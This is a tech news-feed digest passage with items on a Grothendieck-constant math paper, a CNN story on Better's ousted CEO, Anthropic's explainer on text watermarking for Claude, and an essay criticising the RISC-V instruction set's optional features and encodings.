\frac{\pi}{2\log(1+\sqrt2)} - 10^{-4}. \] Methodologically, our lower bound approach differs from previous works by establishing limitations on the asymptotically optimal Krivine schemes, rather than giving explicit constructions of gap instances. Our upper bound is obtained by proposing and analyzing the first asymptotic construction of rounding schemes, whereas previous works only consider low-dimensional schemes. Together, these bounds determine the previously unknown tenths digit of $K_G$ to be $7$. The bounds were discovered by a long-running collaborative effort of humans and a long-horizon AI research system that we engineered.

Submission history

From: Rahul Saha [ view email ]
[v1] Tue, 11 Aug 2026 17:16:09 UTC (966 KB)
[v2] Wed, 12 Aug 2026 02:15:47 UTC (966 KB)

CEO who fired 900 people on Zoom just before Christmas wants his job back

Hacker News
www.cnn.com
2026-08-14 15:36:18
Comments...
Original Article

Vishal Garg feels duped.

“He hoodwinked me,” the just-ousted Better Home & Finance CEO said about Daniel Lewis, the man who replaced him last week. “He said he liked the company’s strategy. He praised us on X and used that to get on our board and win our confidences.”

Garg, who made headlines for laying off 900 employees on a company Zoom just before the 2021 holiday season, says he was fired on August 3 just as he brought the company to the precipice of success.

Better has been through a lot with Garg at the helm over the past several years. During the pandemic-fueled refinancing boom when mortgage rates were below 3%, the company held an $8 billion valuation. Today, with an imploded refi business and rates closing in on 7%, the AI mortgage company’s market value stands at just $300 million.

Toss in a leave of absence after the embarrassing Zoom layoff fiasco, a whistleblower lawsuit (it was dropped), an investigation from the Securities and Exchange Commission (nothing came of it), a disastrous 2023 SPAC merger that sent the company’s stock cratering 93% and years of mounting losses … it’s a minor miracle that Garg lasted this long as CEO.

But Garg says he was just about to deliver on the company’s unlikely turnaround.

After its core refinancing business went belly up, Better’s annual sales plummeted from $1.5 billion in 2021 to $70 million in 2023. This year, the company is on pace to deliver $200 million in sales, he said.

It bounced back by training AI models to quickly process mortgages — a task that would normally take dozens of people several days to accomplish. It partnered with Neo Home Loans, which doubled productivity and reduced loan origination costs by 50%, Garg claims. Impressed with the results, Intuit, Coinbase and OpenAI partnered with Better this year to power their mortgage services. The company also developed a strong home equity line of credit business.

“We’re winning. We’ve tripled loan volume. We’re close to profitability,” Garg said. “We were at the 5-yard line after taking the ball all the way down the field from the other side.”

Garg acknowledges he’s “hard-nosed” and the famous Zoom layoffs severely damaged the company’s reputation — a mistake he knows will continue to haunt him. But as criticized as Garg has been for placing near-impossible demands on the company and its employees, he said Lewis convinced the board he didn’t push hard enough.

Better and Lewis did not respond to a request for comment. On August 4, Lewis posted on X , “There was never a $BETR without @vishal_better. That demands respect.”

Lewis, a hedge fund manager with a mixed track record of success, approached Garg six months ago with thoughts about cost savings and good ideas about delivering profitability, Garg says.

“(Lewis’) thoughts about cost savings were good. His ideas about innovation were not,” Garg argued. “It’s so much easier when we’re this close for someone to come in and say that they could have done better.”

Lewis was brought on to the board on July 27. A week later, he had convinced the other directors to oust Garg as CEO and name himself as Garg’s replacement.

“It’s not about me,” Garg said. “I care about delivering savings to people and helping them live the American Dream. So when shareholders said, ‘You need to take a back seat,’ I complied.”

But Garg says he believes Lewis hadn’t been forthcoming about his intentions over the past several months, as he advised Garg and convinced him to give him a board seat.

“I suspect he always wanted to become CEO,” said Garg. “The board made a mistake.”

Investors appear to agree with Garg. The stock has fallen 45% since Lewis took over as CEO. (The stock had been down more than 16% this year before Garg’s departure was announced.)

In the week since Garg stepped aside (but remained on the board) he says a number of horrified investors reached out to plead with him to take his CEO job back. Armed with Class B shares with special voting powers — his own and from a group of committed early investors — Garg says he has the votes to win.

He has retained high-powered lawyer Alex Spiro, partner at Quinn Emanuel, to represent him, and he sent a letter to the board on Monday demanding it return him as CEO. He says he’ll work for $1 a year until he returns the company to profitability, and he’ll transition out of the CEO role afterward.

“It’s an acknowledgment that I’ve been doing this for 10 years, but execution hasn’t been perfect,” Garg said. “I hope it gets resolved. I think the future still remains very bright for Better.”

Anthropic Risk August 2026 [pdf]

Hacker News
www-cdn.anthropic.com
2026-08-14 15:32:15
Comments...
Original Article
No preview for link for known binary extension (.pdf), Link: https://www-cdn.anthropic.com/f61d49fa5596956a5dec75fea0e973bf6a6a8378/Redacted%20Risk%20Report%20August%202026%20.pdf.

Z.ai Security Disclosure

Hacker News
cvd.z.ai
2026-08-14 15:22:00
Comments...
Original Article

严重程度分布

Critical 107 High 990 Medium 1,286 Low 53

漏洞引入年份

1981 2026

What You Gain by Building Your Own Game Engine

Hacker News
eliasfarhan.ch
2026-08-14 15:20:20
Comments...

How Claude's text watermarking works

Hacker News
www.anthropic.com
2026-08-14 15:15:51
Comments...
Original Article

Future Claude models will generate text that contains a watermark. This is a way of determining the likelihood that Claude was involved in writing the text, and we, along with several other major AI providers, are implementing this change to comply with the EU AI Act.

In this article, we share answers to some of the questions we’ve received about how our chosen watermarking method works, whether it affects Claude’s outputs, and why we’re making this change. To summarize:

  • We use a method of watermarking that does not have any practical impact on the quality or content of Claude’s outputs;
  • The difference between watermarked and un-watermarked text will not be distinguishable to readers;
  • Nothing is added to the text and there are no hidden characters;
  • Watermarking doesn’t require extra tokens, and will not be more expensive;
  • Watermarking carries no identifying information and can’t be traced to a specific person, organization, or chat;
  • Watermarking won’t be specific to Claude. As of August 2, the EU requires AI providers serving its market to mark AI-generated content. Other major model developers have signed the same Code of Practice and will be implementing their own watermarks.

What is watermarking?

Large language models like Claude work by generating one word at a time. Each time the model decides on the next word, it chooses among a list of potential candidates, ultimately selecting the most sensible or likely based on the preceding text. Take the sentence “The weather today was cold and…”. The next word is very unlikely to be “sugary.” But it is quite likely to be “overcast” or “grey.” Under most circumstances, it doesn’t matter much to the reader which of these latter two words the model ultimately chooses—the meaning of the sentence is largely the same either way. In cases like this, the choice is settled by a random number.

Watermarking uses low-stakes choices like these—which occur many times over a piece of generated text—to leave a pattern in Claude’s responses. That pattern is undetectable to the reader, but is detectable to anyone who has a key that encodes it. When watermarking is used, choices are still made at random, but the source of the randomness is different. Instead of using an arbitrary random number generator to pick the next word, watermaking uses the key and a few words that come before to settle what word the model should pick. That is, the words that Claude picks are still random, but now, one can check the sequence of words and see if it’s consistent with the choices Claude would make if it was using the key. If it is, one can assign a probability that the text was generated by Claude.

Importantly, it isn’t that the model will now always be biased toward overcast or grey. Just as with non-watermarked text, overcast might be selected in one sentence, grey in the next, depending on the words that came before. And it’s not the case that the watermarking method pushes Claude to choose a word it wouldn’t have considered anyway (for instance, it wouldn’t make Claude pick a word like “nubilous”—an obscure 1 synonym for overcast or grey that Claude almost certainly wouldn’t use under normal circumstances).

How does affect Claude’s outputs?

Watermarking does not impact the quality of Claude’s output. To a reader, a watermarked response is indistinguishable from an unwatermarked one (in this way, AI watermarks differ substantially from their namesakes on banknotes, other physical objects, and some digital documents, which are visible to the naked eye).

In internal testing, we’ve seen no impact of watermarking on the content, level of creativity, or readability of Claude’s text. In the SynthID-Text paper , which introduced the technique we use, Google DeepMind tested this impact by serving a model that used watermarking to a portion of their Gemini traffic and comparing thumbs-up and thumbs-down ratings. They found no statistically significant differences from the unwatermarked model. And in a controlled study, human raters comparing watermarked and unwatermarked answers side-by-side saw no difference in quality.

A useful analogy is to imagine you’re playing a game like Monopoly. On each turn, each player moves a random number of spaces around the board according to the roll of a die. Suppose that, instead of rolling the die to get this randomness, we decided to use a book of the digits of pi. 2 We start from a randomly-chosen digit (say, the 1,012,845th after the decimal place, which happens to be a 6), and from that point on each player simply uses the next digit in the sequence as their next “roll”.

For all intents and purposes, the moves are still random: it makes no difference to the players—or to the outcome of the game—whether the randomness comes from pi or from dice rolls each time. But if we could see the sequence of all the moves after the game (and we knew the value of pi), we could work out whether this was a game that likely used pi to determine its moves. The game that used pi is, in a sense, “watermarked”.

It’s the same for Claude-generated text. Watermarking doesn’t change the meaning or experience for the person reading it, but if you wanted to check after the fact whether the text was likely generated by Claude, the watermark allows you to do so.

Which specific method of watermarking do you use?

Claude’s text watermark is a version of the SynthID-Text approach published by Google DeepMind in a Nature paper in 2024. It belongs to a family of approaches that go back to a proposal by Scott Aaronson in 2022, all of which share the same design principle that we described above—the watermark only changes the source of the randomness used to pick among words.

There are limitations to the effectiveness of watermarking. Using our key, one can only answer the question “What is the likelihood this was partly written by Claude?” It doesn’t confirm whether the text was human-written, and it can’t tell whether the text was written by a different AI (even if that other AI uses watermarking, it would have a different key; it might also use a different watermarking method altogether). Detecting a watermarking also doesn’t work well on small samples, where there are fewer word choices and thus less information to go on. As a passage increases in length, confidence about Claude’s involvement increases too.

Watermarking is sparser on factual passages where there are fewer choices that can be made without decreasing the accuracy of the text. For example, take the sentence “Isaac Newton’s most famous work was called Principia …”. It really matters whether the next word is “ Mathematica ” (it’s the only right answer), so the watermark would have nothing to act on. The same is true for proofreading. If you hand Claude a piece of writing and ask it to edit only the grammar and punctuation and nothing else, the watermark can only live in the handful of corrections, which might be too few to register.

What about cases where Claude has proofread or edited human text?

The watermark only applies to words Claude chooses. When Claude proofreads text written by a person, what it gives back has generally only been lightly edited; because nearly all the words are the person’s, there’s very little (if anything) for the watermark to attach to. Depending on the length of the text and how heavily Claude has edited it, those changes might not be enough to make Claude’s involvement detectable. The more Claude writes, the more decisions it has to make, and the more space there is for a watermark.

What about code?

As we noted above, AI watermarking takes advantage of decisions where either choice of a word would be equally good. Where an exact output is required—where there isn’t a choice, and something would be factually wrong or a piece of code would break if a different term was chosen—the watermark isn’t applied.

For example, once the model has written “2 + 2 =”, there is a very clear best choice for the next token (if the model is completing the sum, there isn’t an answer that’s equally as good as “4”; if it’s talking about George Orwell’s Nineteen Eighty-Four , there isn’t an answer that’s equally as good as “5”). The “nudge” of the watermark wouldn’t be applied here. For the same reason, code—which in very many cases has to be exact—has generally less watermarking than some other forms of text.

Having said that, in areas where there is an arbitrary choice between particular words or terms within the code, the watermark can be used, such as comments within code. But by definition, it will have a negligible effect on the actual code produced.

What does this mean for users?

Does this slow the model down, or make it more expensive?


No. Watermarking has a negligible impact on the speed of models, and because it produces no extra tokens, the model is the same price to serve and use.

Can a watermark be traced back to me or my organization?

No. The watermarking applies to Claude and its outputs. It doesn’t identify anything to do with individual users. There’s nothing in the watermark, or its key, that would allow anyone to recover any information about the user, their organization, or their chats with Claude.

Why are you watermarking Claude’s outputs?

We’re implementing watermarking to comply with the EU AI Act. Anthropic, along with several other major AI model providers and around 190 total signatories , signed the EU Code of Practice on Transparency of AI-Generated Content in July 2026. This requires AI system providers to use methods of “marking” AI-generated text. We’re applying watermarking globally at launch because we don't yet have a durable way to scope it by region. However, we will continue to evaluate different approaches, and will share updates when we have them.

Other questions

How do I check if a piece of text was written by Claude?

We will soon be offering a watermark detection API. We’re in the process of working out the details of its implementation.

What about images and other files?

When Claude produces a file of a supported type (such as a .png, .jpg, or .svg), it will attach a content credential in the form of a small, cryptographically signed note in the file’s metadata, saying that the file was made or processed with Claude. This is an open industry standard called C2PA —the same used by camera manufacturers and in photo-editing software to record where an image came from. Any C2PA-aware tool can read it; we’ll be providing our own where you can drop a file and check.

This metadata label is very different from a watermark. Nothing in the file changes—it is not embedded or hidden. As with text, the credential only says Claude was involved in producing the file; it doesn’t include any identifying information.

Can’t someone just edit the text to get around the watermarking?

To some extent, yes. Light editing probably won’t remove the watermark completely; a complete rewrite where every word is replaced will. In the latter case, of course, it’s arguable whether the text can any longer be described as AI-generated.

What does a watermark actually prove?

A watermark can only determine that Claude was likely involved with the content at some point. It cannot distinguish “Claude wrote this” from “Claude heavily edited this.”

Do watermarks apply to translations?

Yes. A translation produced by Claude carries a watermark, because in this case every word is chosen by Claude.

What about older Claude models?

The EU law includes a transition period for Anthropic models launched before August 2, 2026, and we’re working to add watermarking for those models as well. This will be rolled out over the coming months.

How does this differ from AI detection software, like Pangram?

AI detection software uses a different method, because the companies that provide it don’t have our key. Among other things, those services look at aspects of the text like the subtle (and not-so-subtle) “tells” that often appear in AI’s phrasing. For example, AI models appear to be fond of the construction “this isn’t [X], it’s [Y]”, and use the word “quietly” a lot more than you might expect. Picking up on these patterns is fundamentally different from checking for a watermark.

Does this change who owns a given output, or who is legally responsible for it?

No. A watermark only helps test whether Claude might have produced or processed the content. It doesn’t say anything about ownership or authorship, and doesn’t change a user’s rights under our terms. We only apply the watermark when Claude was involved in processing the content or file.

RISC-V: They Should Have Known Better

Lobsters
dmitry.gr
2026-08-14 15:12:53
Comments...
Original Article

RISC-V: They Should Have Known Better

Table of Contents

  1. Everything for Everyone
  2. Optionality
  3. Missing Obvious Pieces
  4. Ridiculous encoding
  5. Alleged Fixes
  6. How Did We Get Here and Where to Now?
  7. Does This Mean RISC-V is Doomed?
  8. Comments...

I am often asked to explain my distaste for RISC-V and I often find myself explaining it piecewise. The reactions are often of the form "you just do not understand the brilliance of it all", which is, of course, no argument at all. After being asked for the Nth time to explain, I decided to put it all down in one place so that I could simply link to it when asked next. Plus, if anyone wishes, then, to form a coherent counter-argument, they could refer to my points clearly and in detail by having this text as a reference. All opinions stated here are mine and do not represent the views of my employer, any deity, or my landlord. My cats concurred in part and dissented in part and will publish their opinion later.

Everything for Everyone

RISC-V will own the cheap-as-dirt single-use micro­controller space even­tually. Not due to its ISA design, but despite it.

The first and simplest-to-grasp issue is that one cannot be best for all use cases. RISC-V fans would have you believe that RISC-V will soon own all supercomputers, while also owning all the tiny microcontroller use cases, and all things in between. This is impossible, and would be equally impossible for any ISA. Simply put, the things a high-end CPU needs are diametrically opposed to the things a small cost-saving microcontroller core needs. The design choices are not merely microarchitectural, but actually (and necessarily) impact the CPU architecture itself. For what it is worth, I am 100% sure that RISC-V will own the cheap-as-dirt single-use microcontroller space eventually. Not due to its ISA design, but despite it. It will take this role from 8051 by being an improvement on it -- a bar so low, it is but a speed bump.

What does a cheap microcontroller core need? Let's inspect what they are used for. Typical use cases are to interface with and quickly reconfigure hardware blocks in a larger chip, eg in an MP3 player, an SD card, or a USB stick. The hard work is done by custom IP and the CPU core is just there to occasionally prod a register or configure something. What matters in this case is interrupt latency (lower is better) and size (smaller is better). Usually you would not expect much math to be done on such a core. Mass-produced cost-reduced devices would have the code running out of real ROM (if non-updateable) or RAM (if updateable); NOR flash costs too much and is not an option for really-mass-produced things. When running out of ROM, code size matters because ROMs are not very compact. When running out of RAM, code size matters because SRAMs also take up a lot of space on the die. Thus, code density matters for these use cases. Since much math is not expected, things like hardware dividers (or even multipliers) can be discarded. Privilege separation is also not needed in such single-use situations -- no external untrusted code is expected to ever be fetched. "But, " you might say, "you just described RV32IC (or RV32EC )!"

So, at basically the only purpose such an embed­ded core has, RISC-V is notably worse than the leading existing competi­tor.

Indeed, it is somewhat close, except really you need RV32I_Zicsr to claim that. Without Zicsr , there is no spec-compliant way to handle interrupts, as there is no temporary place to stash a register to allow you to stash the rest of them. MIPS reserved two kegs for this ( $k0 and $k1 ). Without them, RISC-V needs mscratch / sscratch . Without Zicsr , you do not have those and are stuck with weird other methods to do things. And thus we are back in 8051 territory - it specializes in doing things weirdly. Small embedded cores are not out-of-order monsters. If you get one instruction per cycle out of them, you consider yourself lucky. Given this, let's optimistically count the number of cycles needed for an interrupt handler to stash ABI-required regs and call a handler written in C. First we'll use a CSRRW to stash a reg (let's say t0 for ease of explanation) and get a base address of where we may stash the rest. Then we'll need to stash ra , sp , gp , tp , t1 - t6 and a0 - a7 . We'll then need to use another CSSRW to get back the old t0 value and stash that as well. That's at least 21 cycles. On the way out, the math is similar: one CSRRW to read the address of the stashed regs, and 19 loads to load them. That's at least 20 cycles. But that is not all. Since this needs to be done in assembly, we'll need to actually account for the JAL to our C handler and a RET from there. We'll graciously assume those are each two cycles. Thus each interrupt has at least a 44-cycle cost before any work is done in the C handler. Cortex-M0 (the competing cheap 32-bit core) does an interrupt entry in 15 cycles, exit in 12 cycles, and since it pushes the ABI-clobbered regs in hardware, the handler is written in C directly. Thus each interrupt here has only a 27-cycle cost. Oof... that’s a lot faster! You might protest that I am being unfair by not considering RV32E here. By having half as many regs, it can do the initial push 6 cycles faster and the pop as well, bringing its interrupt overhead to 38 cycles. Still over a third more than the Cortex-M0. Oof... So, at basically the only purpose such an embedded core has, RISC-V is notably worse than the leading existing competitor. The existence of CLIC and various proprietary "fast IRQ" / auto-stacking extensions is an additional indictment. The base ISA forces vendors to invent non-standard silicon to reach parity with a decade-old Cortex-M0. That, in turn, further fragments the "standard" (if it can so be called). Hilariously, even with the compressed extension, the typical IRQ prologue is larger and slower than the Cortex-M0’s zero-byte hardware path.

Now, about those compressed instructions. Let us look at them in detail. They are hilariously poorly designed. Say you want to store a byte to a register plus offset. What range of offsets can a 16-bit instruction encode? Zero through three. Not thirty three, not three hundred and three. Three! Well, maybe it is better for storing a halfword? Nope... zero or two. What even? Why? At least when you store a word, you get a sane range of zero through 124 bytes, but what is going on there with those other ones? Worse, the instruction for storing a halfword is encoded similarly to the one storing a byte, but somehow it has fewer options for offsets? Why? Well, one of the bits that store-byte uses for offset is just hardwired to zero... it could have been used to expand the range to at least go to 6, but it doesn't! By comparison, Cortex-M0 is happy to let you use offsets from zero to 31 for bytes, zero to 62 for halfwords, and zero to 124 for words - clearly this covers a lot more use cases. So what happened here? Truly, I do not know, but it is indeed hard to justify. A typical refrain is to just use full-length instructions for these larger offsets. Sure, but density will suffer - the very density that RISC-V fans were bragging about so recently when trumpeting the C extension. But wait, there is more yet. Those instructions to store a byte and a halfword are not even in the C extension. They are in another one called Zcb so you may not get access to them at all, even if their puny range were good enough to use in your situation. We’ll get to "extensions" later...

What do server cores need? Raw throughput. Here, we are in the world of out-of-order cores where silicon is more or less free, since no matter how big your core is, the caches will dwarf it in size. Modern out-of-order cores are decoding eight or sometimes ten instructions at once, and issuing them to multiple ports concurrently; many modern cores can take more than one branch in the same cycle (think about that for a second, let it sink in ... yes). Code density is really not as much a concern here as it was in the past. It matters, but making a slightly larger L1i is not terribly complicated and, again, Si area is more or less free on the scale of such small things. What you really want is the ability to fetch and decode as many instructions at once as easily as possible. While doing that, it also helps if the instructions tell you as much about their intent as possible, to allow you to merge them with others or split them up into pieces most efficiently. Seemingly, these two desires are at odds with each other, and to some extent it is true. "Easy decoding" is, as is widely known, latin for "fixed length" while "as much as possible" is greek for "long". Obviously we do not want fixed-length very long instructions. Where do we draw the line? Having instructions be a power-of-two in length makes many other things like alignment easier, so then what? Two bytes is too short. Eight bytes is too long. The answer is fixed length 4-byte instructions are a nice middle ground. That provides enough encoding space to encode almost anything you’d want, namely: 3 registers encoded in each instr, long offsets for branches. Why does this sound familiar? Because that is what aarch64 (and A32) have proven to work exceptionally well. MIPS made the same choice for the same reason.

You might now protest that ARM also has Thumb and MIPS has microMIPS. However, in high-performance compute Thumb is dead. When Apple was designing aarch64 with ARM , much modeling and testing showed it to be a net loss for instructions per watt and instructions per second. MIPS would surely have killed microMIPS too, had MIPS lived long enough to reach the current cost-per-transistor regime. The main upshot is that compressed instructions have no business in large cores, they get in the way of fast parallel decoding of many instructions by making it slower to find boundaries. You might protest that "RISC-V makes it easy to find instr lengths", but "easy" is not the same as "instant and free" that fixed-length instructions grant you.

It took them TWO YEARS to realize that arrays exist!

Getting back to our discussion of the raw performance that high-end cores need to demonstrate. What is one of the most common operations performed by any code? Array access. This is why x86 has addressing modes of the form [ebx + esi * 4] and ARM has [R0, R1, LSL #2] . Without it, you are forced, like an idiot, to shift a register left by two, then add it to another register, and only then use that to access memory. Three instructions for a single array access. The usual excuse given for this inexcusable lack of foresight is that "instruction fusion will fuse all those three instructions into one in fast cores". Yeah... if anyone ever pulls that off, they will win many prizes. No core I am aware of fuses more than two consecutive instructions. None. The reason is quite obvious -- the combinatorial explosion of the number of possible combinations to consider, track, and handle. So now that we’ve established the bullshit excuse is bullshit, what is there to be done? Well, a few YEARS after the spec was written, an extension was proposed to help this issue -- Zba . It provides three instructions of the form SHxADD for x being 1, 2, or 3. This combines a shift with an add, basically shortening our array access from three instructions into two. This is still worse than having register + shifted register addressing mode, but at least now "the core can fuse them" becomes less bullshit and more believable, assuming someone produces such a core. One problem: SHxADD is always 4 bytes long, and the memory access instruction itself will be 2 or 4 bytes, so the array access becomes 6 or 8 bytes of code, to ARM's 4. This is where all those people who were just shouting about the wonderfulness of the C extension for density and how great it is for high-perf cores quietly shut up and look at the floor. Yeah... For extra credit, the Zba extension was only ratified in 2021, over two years after the base spec. It took them TWO YEARS to realize that arrays exist!

You know you really fucked up bad when you manage to make Qual­comm sound like the voice of reason.

Curiously, this would be easy to fix. Currently 3/4 of the encoding space is allocated to compressed instructions (all instructions whose lower 2 bits are not 0b11 ). Reusing some of that encoding space for better addressing modes is a no-brainer and would produce denser code with better array addressing ability. Unfortunately, it would make too much sense for anyone to actually do. Of all possible champions of sanity, Qualcomm ... proposed doing this, and even prototyped it. It went nowhere... And you know you really fucked up bad when you manage to make Qualcomm sound like the voice of reason. But, back to our SHxADD s. There is no guarantee that you’d get to use them anyways, since Zba is an extension and is thus optional. Are you getting tired of hearing "optional" yet? Let’s talk about that next.

Optionality

What does RISC-V have in common with USB-C and RCS? These things are all ostensibly standards, sure, but the interesting part is that claiming to be in compliance with one of these standards means NOTHING while being technically true. Is my USB-C cable wired only for USB 2.0 valid? Sure, USB 3 twisted pairs are optional. Is my non-e-marked cable valid? Sure, e-markers are optional. Can my USB 3.0 USB-C cable choose to not support 20Gbps? Sure, 20 Gbps support is optional. Can it support 20Gbps but not support 100W charging? Sure, that is optional too. Can my phone’s fully-compliant RCS implementation not support upgrading a text message to a video call? Sure! MIVC is optional. Can it fail to send pictures while I am on a call? Sure, that is optional! Can encryption not be supported? You bet, that is optional too! So what does it even mean to comply with the spec then, if everything is optional? It means the spec writers spent too much time engaging in mental masturbation and too little time in contact with the real world, basically. There are two ways this happens: academics who are not aware that outside their offices, there is such a thing as the real world, and design-by-committee situations, where the real world simply never gets a seat at the table -- having failed to file a motion to be seated there in time for the chairman to bring it to a vote.

Just scope out this line: "The RISC-V B (Bit-Manipulation) extension is a standard collection of instruction set enhancements designed to improve performance and code density through efficient bit-level operations. It is split into distinct sub-extensions: Zba , Zbb , Zbc , and Zbs ." Only a design-by-committee process would ever unironically produce this sequence of words.

When writing a spec, every single thing you make optional, you split the possible implementations into two incompatible groups. Do this enough times and you end up with your spec being meaningless. And boy, did the designers of RISC-V screw the pooch here. Everything is optional! Multiplication -- optional. Division -- optional. Support for a user mode -- optional. Supervisor mode -- optional. CSRs -- optional. Compressed instructions -- optional. "Extra compressed instructions" -- still optional. I bet that if they thought they could get away with it, they’d make addition optional!

Every single thing you make optional, you split the possible imple­menta­tions into two incompa­tible groups.

The basic instruction set of RISC-V, at first publication time, included CSRs, which, as I had mentioned, are required for a standards-compliant method of handling interrupts as well as for support of differing privilege levels. That is not unreasonable; it is sane and not broken . Which is, of course, why they fixed it ... ASAP! CSRs got pulled out into an extension called Zicsr , and now the base ISA lacks ability to handle interrupts or provide privilege separation. But it is actually, and hilariously, much more idiotic than that. Let's say you have a lot of things that are optional. What is the first thing code would want to know? "Is feature X implemented on my hardware?" of course. CPUID is how you answer this question on x86. How do you do it on RISC-V? Well, I have good news and bad news. There is a CSR called misa which can answer some of those questions (not all of course, that would be too sane). Did you spot the problem yet? It is a CSR and CSR support is optional ( Zicsr extension is not mandatory). If that was not enough of a crotch punch, misa is not required to be accurate if implemented -- it is allowed to read as all zeroes -- it being meaningful is itself entirely optional. Yup... the only way you have to detect optional features is optional. But wait, there is more!

The "M" in front of " misa " indicates that this is a machine-mode CSR. Machine mode is the highest privilege mode in RISC-V (and the only non-optional one, if you're keeping track). This register is not readable from lower-privileged modes, even if you are lucky enough to (a) be running on hardware that implements Zicsr , (b) be running on hardware where misa is not hardwired to be all zeroes, and (c) running on hardware that implements other privilege modes. This means that tailoring your code to the capabilities of the hardware is not possible for normal user code. If your hardware implements the OPTIONAL supervisor mode, it also cannot detect the core features. The party line is "ask the machine mode supervisor". The problem, obviously, is that you have no idea what that supervisor is or how to "ask" it. There is a common one in use called OpenSBI, but there is, of course, no way to detect if that is what your machine mode runs.

Another fun bit of optionality here is the system timer. RISC-V spec has a timer; it is optional, of course. It is not accessed using CSRs, because of course not! That would be too consistent. The official party line excuse is that this was done to conserve the encoding space in the CSRs. I guess this is because they expected to run out of ... 4096 of them‽‽ A bit ambitious if you ask me -- no current architecture comes even close, not even x86. But let's move on. If the timer registers are not CSRs then where are they? They are memory mapped! Where? Well, since a timer is a core peripheral that any OS would need, and since the CPU core spec specified it, it, of course, is at a well defined address that you can rely on. Just kidding! Nothing in this spec is that sane! The address is "implementation defined" and can be anywhere at all. Good luck, have fun, don't crash!

I shall tell you of just one more fun situation here, of the many I could: exception and interrupt vectoring. When an exception or an interrupt occurs (assuming the optional Zicsr is implemented), where does the CPU jump? Depending on a lot of optional and optionally-supported config regs, delegation regs, and all sorts of other overcomplicated nonsense, eventually the core will pick to use machine or supervisor vector register ( mtvec or stvec ). That CSR points to the handler, except its bottom two bits that determine its "mode". What is a mode? There are two modes documented. The direct mode is when the lower two bits are 0b00 , in which case all exception and interrupts just jump to the address in the higher bits. The vectored mode (lower bits 0b01 ) is meant to simplify and speed up interrupt handling. All exceptions jump to the address in the higher bits of the reg, while all interrupts jump to that address plus 4 times the interrupt number. So what is my problem with this seemingly sane design? That both of the modes are optional!!!! No part of the spec mandates even the simple direct mode! It is possible, at runtime, to detect if a given mode is implemented by writing the lower bits, reading them back, and seeing if they stuck. But it would be entirely valid to implement a core with only vectored mode supported. Or only direct mode supported, or both, or neither, if instead your core vendor invented their own separate mode. This makes writing any sort of a generic kernel very difficult -- you literally have no idea what to expect. Why direct mode was not made mandatory I cannot fathom, but I can surely tell you that the person who decided that wore oversized shoes, had a big red nose, and wore a lot of white face makeup.

It really looks like the authors had heard of Popek & Goldberg, but failed to read past the abstract.

At this point in time you might jump to the defence of this indefensible idiocy by shouting one of two things: "other architectures also have optional features" and/or "hiding misa is needed to support virtualization, haven't you read Popek & Goldberg?". Let's demolish these feeble excuses one at a time. For "other architectures" we'll consider things in common use in the last few decades: x86, ARMv7, and Aarch64. x86, as previously mentioned, has CPUID which will happily tell you which features the current core has. It will do this quite easily in user mode, as one would expect. Arm has ID_AA64PFR0_EL1 and ID_AA64ISAR0_EL1 available to the kernel at least (though not to userspace). But there is a much more important point to be noted here, which explains why ARM's design is not fatal. In both x86 and in ARM, optional features are of two clear classes: (1) high performance compute that is usually programmed using intrinsics or hand-rolled assembly for tight loops in special circumstances (video encoding, fluid simulations) or by libc (memcpy, memset, strlen), and (2) NOP-compatible optional things that can be safely run on hardware that does not support them since it will execute as a NOP and that is safe. For x86 that would be endbr64 and for aarch64 that would be almost all of the PAC instruction set. Note that at no point are things needed in completely normal compiled code optional. Multiplication, division, addressing modes, are always available. This means that a normal C compiler targeting these architectures does not face the impossible choice of: "compile for the lowest possible denominator to allow code to run on all arch versions" or "assume things like multiply and sane addressing modes exist and prepare to crash on a core that chose not to implement them". Yes, of course, this is where people will say "just target your exact core, why don't you?" Yes, I never said that the idiocy of this ISA cannot be overcome with enough contortion. I said that this sort of poor design was acceptable in the 1970s when we did not know better and is inexcusable in the 2000s, as now we do.

Now, on to the virtualization excuse. First of all, Popek & Goldberg talk about an architecture being virtualizable specifically in the context of it lacking special virtualization support. Indeed by trapping every instruction that acts differently in user and supervisor mode, one can virtualize any architecture. But the alternative is just building-in virtualization support. x86 is not virtualizable as per Popek & Goldberg, at least due to POPA instruction. And yet I have VMs running on my x86 box just fine, as x86 added support for virtualization. It was nontrivially difficult to bolt it on post-facto, but it was done. If doing it at architecture design time, it is trivial. Which is to say that ANY mention of Popek & Goldberg to justify decisions made at architecture design time is bullshit. Arch design time is precisely the time to do it right . Popek & Goldberg even mention that trapping everything is theoretically interesting for the proof of virtualization but not practical. NOT PRACTICAL . So what did the designers of RISC-V do? They justify misa being not exposed to supervisor and user mode with "but virtualization... what if the hypervisor wants to hide capabilities from a VM?". Bull ... let it arrive ... shit! x86 and ARM both manage that just fine. And RISC-V could have too, simply by allowing the hypervisor to lie about misa 's contents while letting everyone read it still. It really looks like the authors had heard of Popek & Goldberg, but failed to read past the abstract.

Another thing they excuse by a vague hand wave in the direction of Popek & Goldberg is the inability of the executing code to detect what CPU mode it is in. This is, again, utter nonsense. x86 exposes this indirectly via POPA (for example) and ARM does not even make you trick it, exposing it completely openly in the CurrentEL MSR. Detecting the current mode on RISC-V is an adventure. It is sometimes possible, but not in all cases. Why might you need this? For example, if you are writing a kernel and want it to support all RISC-V cores. I spent a bit of time trying to make this work for my kernel for rePalm , so I can walk you through the decision tree and show where each branch comes to life and whacks you in the gonads. First of all, if the core has no Zicsr , you are guaranteed to be running in machine mode, but, there is no way to know that there is no Zicsr , other than probing by doing a CSR read, but there are two problems: first, without Zicsr , there is no proper generic way to catch the resulting exception when an invalid instruction trap is generated. Second, what CSR to read? Don't forget that likely all of them are optional. One might be tempted to go for misa , but do not forget that you are probing what mode you are in. If you are in supervisor mode, that probe would also fail, even if Zicsr was implemented. Ok, you can try reading sstatus . That one is readable to supervisor mode AND machine mode. You're safe, right? You wish! Supervisor mode is optional, and if your core does not implement it, there is no sstatus register, so ... you trap. Ok. Let's simplify the problem. Let's assume Zicsr exists. Can you then at least tell apart S mode from M mode? Nope! The following seems like a tempting solution: set stvec to point to your handler that simply adjusts sepc forward by 4 and returns (skipping the faulting instruction), then execute a read of misa . If you were in machine mode, it reads fine. If you were in supervisor mode, it traps, and any sane machine monitor would hand you an illegal instruction trap. Then, your handler would skip the instruction, and you'd note this and conclude you were in supervisor mode. You win, right? Almost... Once again: supervisor mode is optional. Let's imagine you were in machine mode on a core without supervisor mode support. You'd trap as soon as you tried to set stvec , since it does not exist. You might be tempted to say: why not just catch that trap too? Because to do that, you need to set mtvec , and you cannot be sure you can do that since you might have been in supervisor mode all along. Thus the intersection of everything being optional and the authors' complete misunderstanding of Popek & Goldberg lands the poor you in a pile of shite.

Missing Obvious Pieces

